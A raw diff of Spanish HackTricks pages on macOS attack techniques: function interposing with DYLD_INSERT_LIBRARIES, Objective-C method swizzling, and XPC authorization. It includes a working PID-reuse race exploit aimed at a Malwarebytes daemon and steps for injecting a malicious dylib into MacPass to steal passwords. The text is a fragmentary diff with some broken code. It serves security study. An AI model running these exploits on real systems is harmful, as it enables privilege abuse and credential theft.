* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,299 @@
|
|||
## Hooking de Funciones en macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Interposición de Funciones
|
||||
|
||||
Crea una **dylib** con una sección **`__interpose`** (o una sección marcada con **`S_INTERPOSING`**) que contenga tuplas de **punteros a funciones** que se refieran a las funciones **originales** y a las funciones **de reemplazo**.
|
||||
|
||||
Luego, **inyecta** la dylib con **`DYLD_INSERT_LIBRARIES`** (la interposición debe ocurrir antes de que la aplicación principal se cargue). Obviamente, esta restricción tiene las **restricciones** aplicadas al uso de DYLD\_INSERT\_LIBRARIES. 
|
||||
|
||||
### Interponer printf
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="interpose.c" %}
|
||||
{% code title="interpose.c" %}
|
||||
```c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
int my_printf(const char *format, ...) {
|
||||
//va_list args;
|
||||
//va_start(args, format);
|
||||
//int ret = vprintf(format, args);
|
||||
//va_end(args);
|
||||
|
||||
int ret = printf("[+] Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||||
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="hello.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void hello() {
|
||||
printf("Hello, world!\n");
|
||||
}
|
||||
|
||||
int main() {
|
||||
hello();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
En este ejemplo, `hello()` es una función que imprime "Hello, world!" en la consola. La función `main()` llama a `hello()` y luego devuelve 0.
|
||||
```c
|
||||
//gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
printf("Hello, World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||||
[+] Hello from interpose
|
||||
```
|
||||
## Método Swizzling
|
||||
|
||||
En ObjectiveC así es como se llama a un método: `[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`
|
||||
|
||||
Se necesita el **objeto**, el **método** y los **parámetros**. Y cuando se llama a un método, se envía un **mensaje** utilizando la función **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
El objeto es **`someObject`**, el método es **`@selector(method1p1:p2:)`** y los argumentos son **value1**, **value2**.
|
||||
|
||||
Siguiendo las estructuras de objetos, es posible llegar a un **array de métodos** donde se encuentran **los nombres** y **punteros** al código del método.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Tenga en cuenta que debido a que los métodos y las clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
{% endhint %}
|
||||
|
||||
### Accediendo a los métodos en bruto
|
||||
|
||||
Es posible acceder a la información de los métodos, como el nombre, el número de parámetros o la dirección, como en el siguiente ejemplo:
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
int main() {
|
||||
// Get class of the variable
|
||||
NSString* str = @"This is an example";
|
||||
Class strClass = [str class];
|
||||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||
|
||||
// Get parent class of a class
|
||||
Class strSuper = class_getSuperclass(strClass);
|
||||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||
|
||||
// Get information about a method
|
||||
SEL sel = @selector(length);
|
||||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||
Method m = class_getInstanceMethod(strClass,sel);
|
||||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||
|
||||
// Iterate through the class hierarchy
|
||||
NSLog(@"Listing methods:");
|
||||
Class currentClass = strClass;
|
||||
while (currentClass != NULL) {
|
||||
unsigned int inheritedMethodCount = 0;
|
||||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||
|
||||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||
|
||||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||
Method method = inheritedMethods[i];
|
||||
SEL selector = method_getName(method);
|
||||
const char* methodName = sel_getName(selector);
|
||||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||
}
|
||||
|
||||
// Free the memory allocated by class_copyMethodList
|
||||
free(inheritedMethods);
|
||||
currentClass = class_getSuperclass(currentClass);
|
||||
}
|
||||
|
||||
// Other ways to call uppercaseString method
|
||||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||
}
|
||||
|
||||
// Using objc_msgSend directly
|
||||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||
|
||||
// Calling the address directly
|
||||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Swizzling de métodos con method\_exchangeImplementations
|
||||
|
||||
La función method\_exchangeImplementations permite cambiar la dirección de una función por la de otra. Por lo tanto, cuando se llama a una función, lo que se ejecuta es la otra.
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
|
||||
// Create a new category for NSString with the method to execute
|
||||
@interface NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original method
|
||||
return [self swizzledSubstringFromIndex:from];
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Perform method swizzling
|
||||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
|
||||
// We changed the address of one method for the other
|
||||
// Now when the method substringFromIndex is called, what is really coode is swizzledSubstringFromIndex
|
||||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Cambio de método con method\_setImplementation
|
||||
|
||||
El formato anterior es extraño porque estás cambiando la implementación de 2 métodos uno por el otro. Usando la función **`method_setImplementation`** puedes **cambiar** la **implementación** de un **método por la de otro**.
|
||||
|
||||
Solo recuerda **almacenar la dirección de la implementación del original** si vas a llamarlo desde la nueva implementación antes de sobrescribirlo, porque después será mucho más complicado localizar esa dirección.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
static IMP original_substringFromIndex = NULL;
|
||||
|
||||
@interface NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original implementation using objc_msgSendSuper
|
||||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Get the class of the target method
|
||||
Class stringClass = [NSString class];
|
||||
|
||||
// Get the swizzled and original methods
|
||||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||
|
||||
// Get the function pointer to the swizzled method's implementation
|
||||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||
|
||||
// Swap the implementations
|
||||
// It return the now overwritten implementation of the original method to store it
|
||||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
// Set the original implementation back
|
||||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
```
|
||||
## Metodología de Ataque de Hooking
|
||||
|
||||
En esta página se discutieron diferentes formas de enganchar funciones. Sin embargo, todas implican **ejecutar código dentro del proceso para atacar**.
|
||||
|
||||
Para hacer esto, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestro](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Sin embargo, supongo que esto también se podría hacer a través de [inyección de proceso Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
|
||||
Sin embargo, ambas opciones están **limitadas** a binarios/procesos **no protegidos**. Consulte cada técnica para obtener más información sobre las limitaciones.
|
||||
|
||||
Sin embargo, un ataque de enganche de función es muy específico, un atacante hará esto para **robar información confidencial desde dentro de un proceso** (si no, simplemente haría un ataque de inyección de proceso). Y esta información confidencial podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
|
||||
|
||||
Por lo tanto, el vector de ataque del atacante sería encontrar una vulnerabilidad o eliminar la firma de la aplicación, inyectar la variable de entorno **`DYLD_INSERT_LIBRARIES`** a través del archivo Info.plist de la aplicación agregando algo como:
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
<key>DYLD_INSERT_LIBRARIES</key>
|
||||
<string>/Applications/MacPass.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
Agregue en esa biblioteca el código de hooking para filtrar la información: contraseñas, mensajes...
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
File diff suppressed because it is too large
Load diff
|
@ -0,0 +1,160 @@
|
|||
# Reutilización de PID en macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Reutilización de PID
|
||||
|
||||
Cuando un servicio **XPC** de macOS está comprobando el proceso llamado basándose en el **PID** y no en el **token de auditoría**, es vulnerable a un ataque de reutilización de PID. Este ataque se basa en una **condición de carrera** en la que un **exploit** va a **enviar mensajes al servicio XPC** abusando de la funcionalidad y justo **después** de eso, ejecutando **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** con el binario permitido.
|
||||
|
||||
Esta función hará que el **binario permitido posea el PID** pero el **mensaje XPC malicioso se habría enviado** justo antes. Por lo tanto, si el servicio **XPC** utiliza el **PID** para **autenticar** al remitente y lo comprueba **DESPUÉS** de la ejecución de **`posix_spawn`**, pensará que proviene de un proceso **autorizado**.
|
||||
|
||||
### Ejemplo de exploit
|
||||
|
||||
Si encuentras la función **`shouldAcceptNewConnection`** o una función llamada por ella que **llame** a **`processIdentifier`** y no llame a **`auditToken`**. Es muy probable que esté verificando el PID del proceso y no el token de auditoría.\
|
||||
Como por ejemplo en esta imagen (tomada de la referencia):
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Comprueba este ejemplo de exploit (de nuevo, tomado de la referencia) para ver las 2 partes del exploit:
|
||||
|
||||
* Una que **genera varios forks**
|
||||
* **Cada fork** enviará el **payload** al servicio XPC mientras ejecuta **`posix_spawn`** justo después de enviar el mensaje.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Para que el exploit funcione es importante exportar export OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES o ponerlo en el exploit:
|
||||
```objectivec
|
||||
asm(".section __DATA,__objc_fork_ok\n"
|
||||
"empty:\n"
|
||||
".no_dead_strip empty\n");
|
||||
```
|
||||
{% endhint %}
|
||||
```objectivec
|
||||
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <spawn.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define RACE_COUNT 32
|
||||
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
|
||||
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
|
||||
|
||||
// allow fork() between exec()
|
||||
asm(".section __DATA,__objc_fork_ok\n"
|
||||
"empty:\n"
|
||||
".no_dead_strip empty\n");
|
||||
|
||||
extern char **environ;
|
||||
|
||||
// defining necessary protocols
|
||||
@protocol ProtectionService
|
||||
- (void)startDatabaseUpdate;
|
||||
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
|
||||
- (void)uninstallProduct;
|
||||
- (void)installProductUpdate;
|
||||
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
|
||||
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
|
||||
- (void)triggerLicenseRelatedChecks;
|
||||
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
|
||||
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
||||
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
||||
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
||||
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
|
||||
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
|
||||
- (void)restartOS;
|
||||
- (void)resumeScanJob;
|
||||
- (void)pauseScanJob;
|
||||
- (void)stopScanJob;
|
||||
- (void)startScanJob;
|
||||
- (void)disposeOperationBy:(NSUUID *)arg1;
|
||||
- (void)subscribeTo:(long long)arg1;
|
||||
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
|
||||
@end
|
||||
|
||||
void child() {
|
||||
|
||||
// send the XPC messages
|
||||
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
|
||||
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
|
||||
xpcConnection.remoteObjectInterface = remoteInterface;
|
||||
|
||||
[xpcConnection resume];
|
||||
[xpcConnection.remoteObjectProxy restartOS];
|
||||
|
||||
char target_binary[] = BINARY;
|
||||
char *target_argv[] = {target_binary, NULL};
|
||||
posix_spawnattr_t attr;
|
||||
posix_spawnattr_init(&attr);
|
||||
short flags;
|
||||
posix_spawnattr_getflags(&attr, &flags);
|
||||
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
||||
posix_spawnattr_setflags(&attr, flags);
|
||||
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
||||
}
|
||||
|
||||
bool create_nstasks() {
|
||||
|
||||
NSString *exec = [[NSBundle mainBundle] executablePath];
|
||||
NSTask *processes[RACE_COUNT];
|
||||
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
|
||||
}
|
||||
|
||||
int i = 0;
|
||||
struct timespec ts = {
|
||||
.tv_sec = 0,
|
||||
.tv_nsec = 500 * 1000000,
|
||||
};
|
||||
|
||||
nanosleep(&ts, NULL);
|
||||
if (++i > 4) {
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
[processes[i] terminate];
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
|
||||
if(argc > 1) {
|
||||
// called from the NSTasks
|
||||
child();
|
||||
|
||||
} else {
|
||||
NSLog(@"Starting the race");
|
||||
create_nstasks();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}obj
|
||||
```
|
||||
## Referencias
|
||||
|
||||
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
|
||||
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,267 @@
|
|||
# Autorización XPC de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Autorización XPC
|
||||
|
||||
Apple también propone otra forma de autenticar si el proceso que se conecta tiene **permisos para llamar a un método XPC expuesto**.
|
||||
|
||||
Cuando una aplicación necesita **ejecutar acciones como usuario privilegiado**, en lugar de ejecutar la aplicación como usuario privilegiado, generalmente instala como root un HelperTool como un servicio XPC que puede ser llamado desde la aplicación para realizar esas acciones. Sin embargo, la aplicación que llama al servicio debe tener suficiente autorización.
|
||||
|
||||
### ShuoldAcceptNewConnection siempre YES
|
||||
|
||||
Se puede encontrar un ejemplo en [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). En `App/AppDelegate.m` intenta **conectarse** al **HelperTool**. Y en `HelperTool/HelperTool.m`, la función **`shouldAcceptNewConnection`** **no comprobará** ninguno de los requisitos indicados anteriormente. Siempre devolverá YES:
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
// with our protocol and ourselves as the main object.
|
||||
{
|
||||
assert(listener == self.listener);
|
||||
#pragma unused(listener)
|
||||
assert(newConnection != nil);
|
||||
|
||||
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
|
||||
newConnection.exportedObject = self;
|
||||
[newConnection resume];
|
||||
|
||||
return YES;
|
||||
}
|
||||
```
|
||||
Para obtener más información sobre cómo configurar correctamente esta comprobación:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
||||
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Derechos de la aplicación
|
||||
|
||||
Sin embargo, hay cierta **autorización que ocurre cuando se llama a un método del HelperTool**.
|
||||
|
||||
La función **`applicationDidFinishLaunching`** de `App/AppDelegate.m` creará una referencia de autorización vacía después de que la aplicación haya iniciado. Esto siempre debería funcionar.\
|
||||
Luego, intentará **agregar algunos derechos** a esa referencia de autorización llamando a `setupAuthorizationRights`:
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
{
|
||||
[...]
|
||||
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
|
||||
if (err == errAuthorizationSuccess) {
|
||||
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
|
||||
}
|
||||
if (err == errAuthorizationSuccess) {
|
||||
